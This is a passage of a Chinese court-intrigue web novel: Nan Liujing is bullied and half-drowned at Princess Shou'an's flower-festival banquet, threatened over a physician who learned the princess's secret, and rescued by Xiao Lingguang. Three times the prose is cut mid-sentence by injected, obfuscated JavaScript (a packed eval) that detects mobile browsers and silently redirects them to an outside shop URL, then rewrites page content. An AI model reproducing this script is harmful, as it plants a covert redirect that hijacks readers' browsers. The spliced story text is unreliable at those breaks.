江自流动了动唇,斜眼瞧她,“你今晚舍生忘死地救我,倒是叫我有些感动了。” “省省吧。” 南流景笑了,替她掖了一下被角,“若不是只有你能保住我的性命,我今晚连永福巷都不会去。江自流,不是人人都跟你一样,是活菩萨。我是最怕死的人,你知道的。” 江自流默然半晌,转开脸,“我也没有你想得那样好。” 声音很低,低到南流景甚至没听清。 “什么?” “我说,要叫你失望了。” 江自流说道,“我没能拿到玉髓草。” 尽管已经猜到了,但亲耳听到这句话,南流景的心还是一沉。 “所以玉髓草到底在哪儿?” “尚药局。” 前两年,奚家家主不知为何忽然辞去了国师之位,带着所有族人回到余姚。自此,天下医药便都尽归太医署和尚药局掌管,而尚药局的稀世奇药,只奉予皇室所用。 江自流揉了揉眉心,也有些郁闷,“不过消息不准确,扑了个空。就为了这个,还害得我不小心撞破了一个贵人的秘密……” “什么秘密?” 江自流迟疑了一会儿,指了指自己腹部的伤口,“你确定要听?” 南流景眼皮一跳,抬手阻止了她,“你至少告诉我,是谁的秘密。” 江自流勉强抬起身,凑到她耳畔,压低声音,吐出四个字。 “寿安公主。” 屋内霎时陷入死一般的寂静。 7. 秘密 “别跑!不许动!” 几声呵斥从朝云院里传来,紧接着便是稀里哗啦、人仰马翻的声响。 明媚的日光下,浑身湿淋淋的玄猫在院子里东奔西窜,两个婢女各种围追堵截,却被它敏捷地躲过。 它甚至故意跑到婢女跟前,身子猛地抖了两下。毛发上的水珠顿时如水帘飞瀑似的,全都溅在了婢女脸上。 在婢女的尖叫声里,魍魉得意地竖起尾巴,“喵……咪!” 后脖子被重重一掐,声音骤然变了调。 它一下被拎起来,转头对上了南流景那张柔柔弱弱的脸。 “我来。” 南流景拎着魍魉,一路走到水盆边,然后雷厉风行地将它摁了进去。 魍魉不敢当着南流景的面再跳出来,但也不消停,扯着嗓子鬼叫,引来了厢房养伤的江自流。 “不知道的还以为你在杀猪……” 江自流脸色好转,往扶栏边一坐,“为什么非要折磨它?” “它好奇缸里是什么,跳上去看,掉进塘泥里了。” “……好奇心害死猫。” 上刑结束,一盆水已经变得浑浊不堪,而玄猫的四蹄恢复了雪白的毛色。 南流景拿了巾布替它擦拭毛发,江自流也伸手帮忙。 二人正捣鼓着猫,伏妪忽然走了过来,脸色不大好看。 “女郎,前院的人刚刚来传话……两日后花朝节,寿安公主在淮水河畔设宴,邀世家贵女们共赏春色。这是从公主府递来的礼帖。” 伏妪欲言又止,“上面写的,是女郎你的名字。” 南流景的动作顿住,“知道了。” 江自流看过来,“此刻邀你赴宴,会不会是因为……” 会不会是因为这位公主殿下还在追查她的行踪,追查到了南府。 后半句她没有说出口,南流景却了然。 “不一定。就算没有你,这礼帖恐怕也是逃不掉的……” “为什么?” “因为裴七郎啊。” 伏妪脱口而出。 见江自流脸上的惑色不减,伏妪向她解释道。 “寿安公主多年前曾在宫中落过一次水,幸得裴七郎搭救。若遵循旧例,二人年岁相仿、郎才女貌,又有了这恩情在,玉成一桩婚事也是理所应当。” “可谁叫前几年不太平,藩王们轮流入主京都,寿安公主又在孝期,这婚事就不了了之。” “郎无情妾有意。寿安公主心里似乎还惦记着裴七郎。自从知道裴南两家在议亲后,便总是在人前叫我家女郎难堪……” “不说这些了。” 南流景松开魍魉,擦干手,接过那礼帖,“左不过是说些难听的话,左耳进右耳出就是了。” 江自流若有所思地蹲在一旁,忽然问道,“南流景,你真的不想知道寿安公主的秘密是什么?” 南流景瞥了她一眼,将她方才说的话又还了回去,“好奇心害死猫。” “……也好。” 江自流点点头,不再多言。 - 两日后。 淮水两畔,春色盈野,幕帷重重。 帷幕外是成群结队的百姓,帷幕内是赏花投壶、牵着纸鸢的世家儿郎和贵女。其中用幕帷圈出来的最大一块河岸,便属于寿安公主贺兰映。 “南五娘子,这边请。” 南流景一下车,便有公主府的武婢迎了上来。 她跟着武婢一路行到贺兰映的幕帷外,身后的伏妪却是被拦了下来。 “里头自有公主府的人伺候,女郎们不必再带下人进去。这是公主的吩咐。” 其他府邸的婢女也都候在幕帷外,南流景不好再说什么。 临进幕帷前,她又转头看了一眼伏妪。目光不经意扫过远处,忽地顿了顿。 随后她走到伏妪身边,小声说了句什么。伏妪一愣,诧异地看她。 南流景却已经退开,丢下一句“在此处等我”,便跟在武婢身后,一步步走向那顶华贵的宴帐。 宴帐外,已经有不少女郎到了,正三三两两地聚在一起谈笑。 南流景一走近,便有不少目光落在了她身上。 她今日穿了一袭浅紫色的半臂旋裙,乌发垂挽于腰,簪了两支珠钗,衣着首饰不算出挑。就连脸上的脂粉也很淡,只是为了叫气色瞧上去更红润些。 可即便如此,仍有人凑上来挑刺。 “南流景,公主设宴,你竟敢打扮得如此寒酸?” 南流景回头,就见几张熟面孔走了过来,是平日里最阿谀逢迎贺兰映的几人。 “不是前几日才去了漱雪庐么?那日我可瞧见你了。” 其中一人掩唇笑道,“摇了那么多次铃,一件都带不走……真是可怜。” 也不等南流景反应,她们便一唱一和,冷嘲热讽起来。 “我若是你,便不会自取其辱。” “有些东西,生来就不该是你的,何必眼馋?” “她若有这个自知之明就好了。怎么还会同裴七郎纠缠不清,惹公主生气?” “你摸着良心说,公主之前待你如何?你竟忘恩负义,觊觎她的意中人……” 南流景一直静静地听着,直到最后一句,神色才微微一动。 的确,贺兰映待她,并非一直是眼中钉、肉中刺。一年前,她们二人初相识时,甚至是很融洽的。 也不知是真的喜欢她,还是怜她病弱,又或是将她当做解闷逗乐的玩宠,总之那时候贺兰映去哪儿都会带着她。 建都这些世家女郎们,原本压根不将她放在眼里,可眼见她成了寿安公主身边的“红人”,又纷纷来向她示好,其中待她最亲热的,正是眼前这几个…… 直到贺兰映撞破她与裴流玉的关系,南裴两家议亲的风声传了出去,一切才陡转急下。 南流景摸摸耳垂,听得有些烦了。 “人都到齐了?” 独有的嗓音,慵懒的语调,在身后响起的一瞬间,湖畔顿时静了下来。 南流景深吸了一口气,转过身,与众人一起屈膝行礼,“……寿安公主。” 她低着头,眼睛只盯着自面前的春草,可一片艳烈如火的裙角还是荡悠悠地踱进了她的视线里。 “好久不见啊,五娘。” 头顶传来贺兰映含笑的声音,有些像她平日里对魍魉说话的口吻,“抬起头来让本宫瞧瞧。” 南流景缓缓抬起头,入目便是华服云鬓、艳色绝世的一张脸,还有那双惑人心神的淡金色眼眸。 “……” 其实也不怪那些人为贺兰映打抱不平。公主的身份还是其次,最重要的是生得这样一幅容貌,就应该要风得风、要雨得雨……凭什么强求不来一个裴流玉? 与贺兰映的视线只对上了一瞬,南流景便飞快地垂下眼睫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041287|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“果然又瘦了些,脸色也不好,打扮得还这么素净……瞧着有些难看啊。” 贺兰映将她从地上扶了起来。 说是“扶”,其实更像是“提”。 南流景刚一站稳,贺兰映就松开了她,却是双手一抬,将自己耳朵上的朱砂红玛瑙耳坠摘下,然后低身靠近。 意识到贺兰映要做什么,南流景微微睁大了眼,“殿下……” 她下意识往后退,却被一手摁住。 “躲什么,本宫的耳坠给你戴。” 贺兰映挑着眉梢冲她笑,笑得风情万种。 “……” 四周鸦雀无声,所有人都望着他们,神色有些错愕。 贺兰映凑到南流景身边,双指捏住她的耳垂,将那鲜艳欲滴的红耳坠往她耳洞里穿。动作亲昵得仿佛没有一点龃龉,好似回到了从前。 清淡却好闻的脂粉香气萦绕在鼻尖,南流景身子有些僵硬,任由她动作。 戴好了右耳,又轮到左耳。 “憔悴成这样,是因为惦念裴流玉么?” 忽然,贺兰映在她耳畔问道,声音低不可闻,“裴流玉挨了顿家法,又被禁了足,把五娘给吓坏了,是不是?” 一丝尖锐的寒意靠近耳垂,南流景眼睫一颤,挣扎起来,“殿下,我自己来……嘶。” 寒意骤然变成刺痛。 雪白的耳垂坠着轻轻晃动的红色玛瑙,与此同时,一滴血珠却在耳洞旁洇出、滑落,滴在了那玛瑙耳坠上…… 南流景捂着耳垂,猛地挣开贺兰映,往后退了几步。 方才还笑意盈盈的贺兰映,此刻却沉着脸,眼神甚至冰冷得有些骇人。 不过下一刻,她又勾着唇角笑起来,神色恢复如常,“果然好看。” “……” “你们觉得呢?” 众人面面相觑,神色从错愕变成了意料之中,然后便是一阵幸灾乐祸的应和声。 “公主的眼光,自是不会错的。” “能得公主赏赐,南五娘当真是好福气。” 南流景慢慢地垂下手,指腹轻轻捻了两下,耳垂上沾到的血迹便被抹开、淡去。血红的玛瑙耳坠点缀在颊边,就像是点睛之笔,叫她的妆容都随之秾艳,整张脸变得活色生香…… “多谢殿下。” 她轻声道。 贺兰映似乎是解了气,与她擦肩而过,一眼都没再看她。 “投壶赏花没什么意思,今日既在淮水河边,不如就掷水球,如何?” - 公主一声令下,水边很快便布置好了数条小舟。而贺兰映就坐在临水的席案边,俨然一副等待好戏开场的架势。 女郎们成群结队地上了船,南流景也不知被什么人推着搡着,挤上了一条小船。船上只有她一人,她几乎连站都站不稳。 “我不曾玩过水球,也从未见人玩过……今日恐怕不能陪诸位玩乐了。” 说着,她扶着船沿想要离开。 “我来教你!” 伴随着一道女声,水球忽然从身后掷砸了过来。 南流景避之不及,不仅胳膊上挨了一下,还被那砸落的水球溅了满身水。 她缓缓直起身,转头看向罪魁祸首,只见那女郎掩饰地同旁边的人说笑,“就是这么玩的,谁砸得远,便是谁赢了!” 岸上,贺兰映倚在矮几后,自顾自斟酒,仿佛没看见水里的情形。 8. 胎记 见寿安公主视若无睹,船上的那些女郎们便觉得猜对了她的心意,于是愈发肆无忌惮。 水球被抛过来、砸过去,每次不是落在南流景身上,便是落在她旁边的水面上。数个来回下来,南流景发丝上已经尽是水珠,裙裳也湿了,看着十分狼狈。 哄笑声、水声混杂在一起,刺入她的耳里,她倒不生气,只觉得烦躁。 “砰。” 又一次迎面砸来的水球被南流景抬手接住。 “好了,我学会了。” 在女郎们诧异的目光下,南流景扯了扯唇角,慢条斯理地卷起衣袖,“现在该轮到我了。” 几声惊叫陡然响起。 贺兰映掀起眼,刚好看见南流景朝方才率先动手的女郎掷出了水球。 与她们之前的小打小闹不同,南流景手里的水球明显带了十成的力道,甚至隐隐有破空之声—— “咚!” 水球没朝人砸,而是重重地砸在船沿上,整艘船被砸得一晃。 船上的几人顿时吓得花容失色,脚下一踉跄,竟是接二连三地栽进了水里。 贺兰映一愣,忽地眉眼一弯,嗤笑出声。 随着这几人的落水,水面上的情势瞬间乱了。有人手忙脚乱去捡水球,有人想上岸,有人着急要救人,几艘小舟乱七八糟地撞在一起。 “啊!” 南流景腿一软,也飞快蹲下身,同其他人一起慌乱失措地叫嚷,“救命……我,我不会水……” 嘴上如此说着,她却趁乱探出手,死死扣住其他人的船沿,拼命摇晃起来。在她的黑手下,又有几艘小舟翻了,随着接二连三的落水声,水里呼救的人越来越多。 水面上乱成了一锅粥。 转眼间,竟只剩下南流景一人稳稳地蹲在了船上。 她无动于衷地望着那些在水里呼救的女郎们,心里忽然生出了个恶毒的念头。 这湖水凉得很,在里头泡上片刻,回去定是要病倒的吧? 天晓得,她这几年为了不犯病,处处小心谨慎,这也不敢做,那也不敢做,对这些活蹦乱跳、健健康康的女郎,嫉妒得都快发了狂。 若这次能叫她们都尝尝缠绵病榻的滋味,似乎也能叫她少些怨气了…… 如此想着,她忍不住掀了掀唇角,站起身。 一抬头,脸上阴晦的笑容还没来得及收敛,就被岸上冷眼旁观的贺兰映尽收眼底。 贺兰映不知何时走到了水边,臂弯里挽着的红纱被风撩起,珠钗步摇在艳阳下泛着咄咄逼人的金光,叫她如隔云端、触不可及。 尽管看不清神情,可南流景确认,她在盯着她,而且不知道盯了多久。 她心虚地将手往后背了背。 正愣神的功夫,水中忽然有一人窜出来,像是抓住了救命稻草似的攀住了她的船,挣扎着想要爬上来。 船身遽然晃动,南流景一时不慎,眼前一片天旋地转—— “咚!” 湖水从四面八方涌来。 岸上,一直没吭声的贺兰映终于朝身后挥了挥手。 公主府的武婢们得了令,这才纷纷下水救人。 不一会儿,一个个脸色煞白、如落汤鸡似的世家女郎们便被救了上来,在武婢们的搀扶下,瑟瑟发抖往案上走。 贺兰映眼睫一垂,掩唇笑道,“低门小户的蛮女,下手没个轻重,妹妹们怎能与她硬碰硬……快,带女郎们去宴帐里更衣饮茶!” 水面上恢复了平静,武婢搀扶着最后一个落水的贵女从贺兰映身边经过。 “还有一个呢?” 贺兰映问道。 武婢一愣,后知后觉地反应过来:方才救起来的人里,竟唯独缺了那个南氏五娘! “奴婢这就……” “罢了。” 贺兰映懒懒地摆手,“不必管了。” 待所有贵女都被武婢们带去了宴帐,淮水水畔只剩下了寿安公主一人。 贺兰映踱步到水边,双手拢在袖中,居高临下地盯着一片平静的水面,神色莫测。 水面下,南流景屏住呼吸,一脸懊丧。 第一反应,是自己这场病怕是躲不过去了。 第二反应,是留在这儿还不知要被贺兰映如何折磨,倒不如趁此机会脱身…… 听得水面上逐渐没了动静,她才动了动身子,朝下游洑水而去。 谁料刚一动身,脚腕上却忽然一紧。 冰冷如藤蔓般的东西紧紧缠裹上来,用力一扯,霎时间,她难以自控地朝深水中坠去! 南流景瞳孔缩紧,不可置信地转头。 入目便是一抹如火的朱红。 随着那繁复的红裙在水中曳开,一张熟悉的、艳丽而张扬的漂亮脸孔撞入她的眼中。 贺、兰、映! 南流景的脑子嗡地一下。 她惊恐地盯着那张脸,双脚胡乱踢着,想要挣脱贺兰映的桎梏。 奈何力气抵不过,不仅没能将贺兰映踢开,反而叫二人的距离越来越近。 那双淡金色的眼眸牢牢锁住她,似笑非笑,沾着些邪气。在潋滟的水光里,既像蓄势待发的毒蛇,又如蛊惑人心的水中精怪…… 在水中憋了许久,南流景的呼吸越来越艰难。 直到她涨红了脸,猝然呛进一口水,脚腕上的力道才随之松开。 下一刻,贺兰映提着她的衣领破水而出。 “咳,咳咳咳……” 南流景跌坐在岸边,剧烈地呛咳着。她衣衫尽湿,发丝散乱,脸色白得吓人,好似一具被湖水浸透、奄奄一息的漂亮人偶。 “五娘啊五娘,你想逃去哪儿?不会是想去找裴流玉吧?” 贺兰映半蹲下身,浑身也湿透了,发丝湿淋淋地淌着水,眉毛和眼睫上也沾着摇摇欲坠的水珠。 她侧过头看南流景,那双被浸湿后的眉眼反而更黑更浓,露出些摄人的锋芒,“打算这幅模样去见他,然后好楚楚可怜地告本宫一状,说本宫仗势欺凌你?” 南流景气得够呛,终于还是没忍住,仰头反问她,“难道不是吗?” 贺兰映睁大了眼,作出一幅无辜模样,“苍天有眼,你怎可颠倒黑白、信口胡诌?那些女郎们好心教你戏水,你却将她们砸进水里,本宫舍生忘死下水救你,你竟也反咬一口,说我害你……五娘,你好生歹毒!” “……” “本宫岂能如你所愿?” 贺兰映拍拍手,叫来两个武婢,“带她下去更衣梳洗,好、好、招、待。” 武婢们将南流景带进了另一间宴帐,然后退了出去。 宴帐里空无一人,衣架上挂着的罗裙皆赤烈如火、缀着琳琅满目的珠玉,如此华贵,一看便是贺兰映本人的喜好。 湿漉漉的裙裳贴在身上,已经有些冰凉。南流景不敢再拖延,取了干净的里衣和一件没那么招摇的红裙,便绕到了屏风后换衣裳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041288|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚将外裳褪下,她就听得帐帘被掀开,面前的铜镜映着毫不避讳走进来的贺兰映。 她已经换了身干净的里衣,外头松松垮垮地披着件银红衣袍,漫不经心地擦拭着发丝上的水珠。 “……殿下,我还未换好衣裳。” 南流景抿唇,将已经褪下的外衫挡在了胸前。 “这一幅见了登徒子的模样做什么?” 贺兰映脚步一顿,倚着屏风,似笑非笑地看她,“怎么,本宫多看你一眼,难道会坏了五娘的清白不成?” 她话里有话,眼神也不对劲,打量南流景时好似薄刃划过皮肉。 身上越来越冷,南流景打了个哆嗦,再无心思顾及其他。 她背过身,将怀里的外衫直接扔了,“我是女子,殿下也是女子。我身上有的,殿下又不是没有,哪里有什么见不得的。” 被河水浸透的雪白心衣堆叠着落了地,露出女儿家的窈窕身躯。尽管孱弱单薄,却修长纤直,并不似花儿一样娇柔,倒似那清泠泠的莲茎。 湿漉漉的发丝贴着颈边,沿着裸露在外的肩背逶迤而下,发梢上的水珠坠下一滴,在腰肢上蜿蜒了一道浅浅的水痕…… 贺兰映眸光微闪,正要移开视线,却有一阵风忽然吹进宴帐,拂过南流景身后垂落的长发。 发丝飘动间,隐约露出了她背上莹白的肌肤,和一块格格不入、有些突兀的红痕。 贺兰映的视线一顿。 南流景心无旁骛,几乎是用最快的速度换上干净的心衣,披上外衫。 “这是什么?” 贺兰映的声音忽然近至耳畔,口吻满是好奇。 与此同时,一只手掌猝不及防探进了她的外衫下摆。 “殿下!” 南流景浑身一颤,整个人几乎都要炸开。她下意识朝后肘击,想要甩开腰间的手掌,可贺兰映却神色自若地躲开,反手桎梏住她。 “跑什么?问你话呢……” 那手掌探得更深,指尖甚至在她后腰处来回划了几下,如同蛇信似的,从跃跃欲试到厮磨舔舐,越来越过火,叫南流景几乎有些站不住。 “是胎记吗?还是画上去的?怎么生得跟梅花一样……” 贺兰映的呼吸喷撒在耳廓,直叫南流景身上如过电。 “是胎记。” 她咬牙挣扎,“殿下看够了吗……能松手了吗……” 那花朵似的胎记被来回摩挲,不仅没有淡去分毫,反而颜色更深。 贺兰映终于大发慈悲地挪开了手,可手臂仍圈着南流景,还绕到她身前,亲自替她系起了衣带。 南流景刚要松口气,贺兰映的话锋却一转,看似不经意地开口。 “你从南城救回去的人,还活着么?” 南流景骤然僵住,“……什么?” “那个医女听到了不该听的,见到了不该见的,闯了大祸。” “……” 最后一丝侥幸也没了。 南流景的一颗心悬了起来,慢慢抬眼。 镜中,贺兰映从后拥着她,脸上难得没了轻佻的笑意。因落水的缘故,他披散着长发,卸了钗环、洗去了浓妆,于是五官的轮廓变得深邃而锐利,容貌在艳丽之余平添了不少英气。 四目相对。 南流景神色紧绷,贺兰映却平心静气。 “此事与你无关。” “五娘,听话些,把她交给我。” 9. 灭口 宴帐外隐约传来嬉戏的吵闹声,宴帐内却静得格外压抑。 衣带已经系上,贺兰映却没有退开。她在等南流景的答案。 南流景攥了攥手,“我若将人交给殿下,殿下打算如何处置?” 贺兰映神色淡淡,手指绕着南流景腰间的发丝,“还能如何处置?能保守秘密的,只有死人,不是吗?” 南流景后背沁出些冷汗,摇头,“她什么都不会说出去的……我可以用性命为她担保……” 闻言,贺兰映终于从镜子里移开眼。 她偏过头,视线定定地落在南流景苍白的脸颊上,“你连她撞破了什么秘密都不知道,就敢替她担保?甚至还豁出性命?” “……” 贺兰映的口吻忽然变了,变得咄咄逼人、胡搅蛮缠。她大声质问—— “她究竟是你什么人?” “你们二人的关系何时好到了这个地步?” “你这么护着她,本宫看着都要嫉妒了。” “南流景,你不是同本宫最要好么?” 南流景耳畔嗡嗡作响,头痛得厉害。 这位寿安公主说话行事向来如此。 分明刚刚还在谈议江自流的生死,现在却又像几岁孩童一样,计较谁亲谁疏。 东一句,西一句,真一句,假一句。 时而近,时而远,时而晴,时而雨,偏要叫人云里雾里、永远不能在第一时刻揣测到她的心思…… “并非只有死人才能保守秘密。” 南流景没有顺着贺兰映的话回答,“殿下若是不放心,我可以把她毒哑,或者把她关起来,叫她永远不见天日……只要留她一条性命,怎样都可以。” 贺兰映又盯了她一会儿,忽然眉眼一弯,笑起来。 “有没有人跟你说过,你狠毒的时候最可爱。” 她笑盈盈地掐住南流景的脸,晃了晃,“要本宫放过那医女,也不是不可以。但你用什么来交换呢?我说的是你,不是她。” “……殿下想要什么?” 南流景脸颊被掐着,说话都有些含糊。 “本宫想要什么,你难道不清楚?” 贺兰映松开手,按着她的肩轻轻一拧,将她转向自己。然后低下头,狭长的凤眸微微眯起,一字一句地启唇道,“本宫要你与裴流玉做个了断。” 南流景呼吸一滞。 终于…… 绕来绕去,终于还是绕回了裴流玉身上…… 她有些为难地蹙眉,不知该如何作答。 先是裴松筠,再是贺兰映。他们一个个自诩聪明,软硬兼施地要她离开裴流玉。可惜白长了一双眼,竟看不清她与裴流玉之间,究竟谁才有资格说出“了断”二字。 “要么离开裴流玉,要么就将那医女交出来……” 贺兰映在她肩上不轻不重地拍了拍,胁迫的意味渐浓,“趁着本宫还肯给你机会,选吧。” “……” 南流景被困在镜前,脸色越来越白。 孱弱的病躯本就架不住在水里那番折腾,此刻再加上贺兰映盛气凌人、步步紧逼,直叫她身体和心理的防线都岌岌可危。 没来得及擦干的湿发还在滴着水,冷意顺着冰凉的水汽蔓延全身,叫她寒毛耸立、头痛欲裂,只能用手扣住身后的镜架边缘,勉强稳住身形。 突然,宴帐外传来一阵喧哗。 “萧郎君!公主在更衣!” “萧郎君你不能进去!” “萧郎君!” 帐帘被掀开,一切喧嚷声骤止。 听得外头的动静,贺兰映眉头一蹙。 她飞快地松开南流景,随手拎起一旁的红色裙袍,将她整个人裹得严严实实,往自己身后一推。 南流景如梦初醒,强打起精神,整理起自己的衣裳。 下一刻,萧陵光就从屏风那头疾步绕了进来。 看见镜子前衣衫不整的贺兰映,还有她身后窸窸窣窣、慌张动作的人影,他拧起眉头,蓦地背过身,退回了屏风后。 “你们在做什么?” 他冷声质问。 贺兰映拢了拢自己的衣襟,从屏风后走出来,脸上一丝笑意也无。 “萧陵光,你好大的胆子!这是本宫的宴帐!你竟也敢这么急赤白脸地闯进来?!皇叔正发愁本宫的婚事,你是想自荐枕席,入本宫的公主府是不是?” “把你的衣裳穿好,少来恶心我。” 萧陵光硬邦邦地吐出这么一句。 “到底是谁先恶心谁?” 贺兰映气笑了,“找本宫做什么?” 萧陵光终于转过身,目光却是越过贺兰映,与换好衣衫走出来的南流景对了个正着。 见她湿发凌乱、脸色惨白,一幅三魂七魄丢了大半的模样,萧陵光眉间的蹙痕又深了几分。 今日花朝节,萧老夫人素来喜欢这种热闹场合,又因为操心着他的婚事,恨不得他立刻娶个贵女回府,镇住萧家那群魑魅魍魉,于是也在湖畔搭了幕帷。名义上是邀老友叙旧,实际上却是叫他相看那些夫人们带来的女郎。 他正愁找不到脱身之法,就听底下的人来通报,有一个南府的老妪求见,说南家五娘子被寿安公主带走,又说公主与她家女郎素来不睦,求他前去解围。 贺兰映是什么德行,萧陵光心里一清二楚。 原本懒得管这桩闲事,可又实在想离开萧老夫人攒的相亲局,这才决定看在裴流玉的份上,再过来瞧上一眼。 没想到,贺兰映还真的不知轻重,将人折腾成这幅惨样。 萧陵光打消了置身事外的念头,直截了当地对南流景唤道,“还杵在那儿做什么?走不走。” 贺兰映愣住。 南流景心弦骤然一松,逃也似的越过她,跌跌撞撞跑向了萧陵光。 与伏妪分开前,她刚好看见了萧氏的幕帷。不怕一万就怕万一,所以她吩咐伏妪,一旦听到什么风声,或许可以去找萧陵光碰碰运气。 没想到萧陵光还真的来了! 天降救兵,南流景如今看他那张冷漠凶恶的脸,都只觉得和善可亲。 “有劳萧郎君……” 她哑着嗓音,低不可闻地唤了一声。 另一边,贺兰映回神。 她难以置信地看了一眼萧陵光,又看向南流景,“你们……” 她后知后觉地意识到了萧陵光出现在这里的原因,顿觉荒唐,“你发疯一样闯来本宫这儿,是为了她?” 萧陵光搬出了裴流玉,“受人之托,忠人之事。裴流玉让我照看她。” “裴流玉?” 贺兰映冷笑,“他都被禁足了还不消停?回去告诉他,他的妱妱刚刚可是答应了本宫,会同他一刀两断,不复相见……” 萧陵光看了南流景一眼。 南流景虚弱得说不出话,只摇了摇头。 贺兰映脸色一沉,抬脚走过来,却被萧陵光拦住,“够了,别太过分。” 语毕,也不管贺兰映是何反应,他直接扯过宴帐门口挂着的幂篱,往南流景头上一扣,然后带着她出了宴帐。 目送二人的背影消失在宴帐外,贺兰映顿在原地,神色几经变化,所有情绪如潮水般褪去。 “殿下?” 宴帐外传来一武婢的声音。 贺兰映冷冷地收回视线,“进来。” 武婢走进来时,贺兰映已经坐回了妆台前,面无波澜地梳着发丝。 “殿下就这么放南五娘离开吗?” “萧陵光都杀上门了,本宫还能留得住人不成?” “可那个医女还在南府。” 武婢走到她身后,轻声试探道,“要不要奴婢派人去朝云院,神不知鬼不觉地将她……” 她做了个抹脖子的手势。 贺兰映半搭着眼,手上梳发的动作甚至没有半点停顿,“不用了,随她去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041289|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 轻飘飘一句,全然不像被捉住了把柄,与方才逼迫南流景交出医女的模样更是判若两人。 武婢有些错愕。 今日兴师动众地摆下鸿门宴,又请来南家五娘子,不全都是为了拿住那医女么?怎么此刻又轻拿轻放,浑然不在意了? “可那医女知晓了殿下最大的秘密……殿下怎能任由她去?” 武婢百思不得其解,有些急了,“还有那位南五娘,她或许也知道了。殿下是顾忌裴七郎、顾忌裴氏,所以才投鼠忌器么?” 没有得到贺兰映的回应,她仍未察觉有什么异样,自顾自道,“殿下着实太小心了。莫要说她还未嫁进裴家,就算是真的成了裴氏妇,该斩草除根还是得斩草……” “啪。” 一声脆裂的声响骤然传来。 武婢的话音戛然而止,低头就看见那柄方才还被贺兰映握在手里的玉梳,此刻被摔在她脚边,碎得四分五裂。 “本宫说了——” 贺兰映霍然起身,转过来,居高临下地望向她。那双昳丽秾艳的眉目沾着凛凛冷意,锋芒毕露、山雨欲来,“由、她、去!” 武婢膝盖一软,满脸惊骇地跪了下去,连句求饶的话都说不出口。 下一刻,那片如火的裙裾便从她视野里径直飘过,伴随着无情而冰冷的嗓音。 “明日起,不必在本宫身边伺候了。” - 萧陵光刚赢了胜仗,是圣上亲封的建威郎将,又手握龙骧军,前途不可限量。幕帷内外把守的公主府护卫眼见他闯进宴帐,又带着人离开,却无一敢阻拦。 刚一走出幕帷,伏妪就慌慌张张迎了上来。 萧陵光往旁边一让,露出了身后头戴幂篱、踉踉跄跄的南流景。 “女郎!” 伏妪脸色骤变,冲过去将人扶住,心急如焚地打量她,“女郎你没事吧?” “人我已经带出来了。她落了水,回去好生照料着吧。” 丢下这么一句,萧陵光便打算功成身退。 没走两步,身后突然传来伏妪的一声惊叫。 萧陵光顿住,回过头,只见那戴着幂篱的女郎身子晃了两下,竟是软软地朝地上栽倒下去。而她身边的老妪双手接住她,然后像是被吓傻了似的,僵在原地,只一味地叫喊求助。 “来人,快来人啊……” 四周都是公主府的人,自然没有回应。 “……” 萧陵光蹙眉。 幂篱的纱帘被风吹开了道缝隙,那张素来苍白的脸颊竟是染上了大片红云,一直蔓延到耳根,层层叠叠,连带着下巴、颈侧都透着薄薄一层绯色,烧得滚烫。 伏妪半搂着人,心急如焚,正不知该如何是好,忽然眼前压下一片黑影。 紧接着,一道冷硬、不耐、却叫人踏实的声音自头顶响起。 “松手。” 话音既落,萧陵光伸手,将已经不省人事的女郎从伏妪怀里捞了出来,一把打横抱起。 尽管知道此女孱弱,可真的抱起来时,他还是不受控制地惊了一下。怀中人实在是轻得不可思议,单薄得好似一页纸,仿佛被风吹一吹都会裂开个口子…… 萧陵光松了松手臂,将人轻轻一掂,面无表情地大步往前走,“你家马车在哪儿?” 伏妪怔了怔,连忙冲到前面引路。 萧陵光抱着人跟在后头,很快到了南府的马车跟前。 “有劳萧郎君!多谢萧郎君!” 伏妪掀开车帘,险些都要哭出来。 萧陵光脸色沉沉,一言不发地将人送进马车里,刚要退出来,一只纤柔的手掌却是忽然从幂篱下探出来。 那手掌胡乱在空中挥了两下,不小心落到他手上,就像是抓到救命稻草一样,猛地握紧了他的手指,烫得惊人。 “阿兄……” 一声带着哭腔的呓语,刺破薄纱,劈进萧陵光的耳里。 10. 发作 南流景觉得浑身都很疼。 像是被扔进了火炉里,爆裂喷发的火焰汹涌地将她淹没。呼吸很艰难,骨头也被烫化,每一寸肌肤都被燎得又烫又痛…… 耳畔时而是撕心裂肺的惨叫,时而是奄奄一息的呻吟;眼前和她一样,半死不活、被折磨得发了狂的药奴,一个接着一个,变成地上横七竖八的尸体。 她蜷缩在角落里,死死咬着自己的手腕,已经分不清是疼得发抖,还是怕得发抖。 直到一双手掌捂住她的双眼,熟悉的气息依偎靠近,她才骤然松开齿关,断断续续的哭喊声溢了出来。 「阿兄……」 「我好痛……」 